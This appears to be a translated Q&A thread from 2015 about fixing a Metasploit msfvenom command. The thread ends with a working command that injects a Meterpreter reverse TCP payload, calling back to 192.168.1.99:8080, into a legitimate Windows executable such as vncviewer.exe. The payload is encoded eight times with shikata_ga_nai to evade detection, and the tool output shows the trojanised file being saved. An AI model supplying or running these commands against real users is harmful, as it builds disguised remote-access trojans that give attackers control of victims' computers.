【发布时间】:2015-12-01 11:01:44
【问题描述】:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 -a x86 R |msfvenom -e -t exe -x minipad.exe -k -o minipad123.exe -e x86/shikata_ga_nai -c 8
Attempting to read payload from STDIN...
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 299 bytes
Error: You must select an arch for a custom payload
架构已指定,但错误仍然存在
有什么帮助吗??
【问题讨论】:
-
为什么要两次调用 msfvenom?一个调用是否满足所有参数?
-
是的,我也尝试过,但徒劳无功...如果您觉得任何特定的调用都可以,请发布语法。谢谢!
-
问题在于
-c 8可能意味着您想要8 次迭代,但您使用-i开关来做到这一点。msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 --platform win -a x86 -f exe -o minipad123.exe -e x86/shikata_ga_nai -i8 -k -x minipad.exe怎么样?至少 cmdmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 --platform win -a x86 -f exe -o test.exe -e x86/shikata_ga_nai -i8使用meterpreter/reverse_tcp有效负载为我生成一个有效的可执行文件。您还想要将有效负载添加到现有文件中吗? -
没有绑定的 cmd 对我来说也可以正常工作,但是第一个命令在迭代后给了我一个错误。错误:nil:NilClass 的未定义方法“编码”
-
为我工作。我将 Windows 二进制文件复制到当前目录。
cp /usr/share/windows-binaries/vncviewer.exe .添加了 Meterpreter 有效载荷$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 --platform win -a x86 -f exe -o vncviewer_with_metasploit.exe -e x86/shikata_ga_nai -i8 -k -x vncviewer.exeFound 1 compatible encoders Attempting to encode payload with 8 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 326 (iteration=0) ... x86/shikata_ga_nai chosen with final size 515 Payload size: 515 bytes Saved as: vncviewer_with_metasploit.exe
标签: metasploit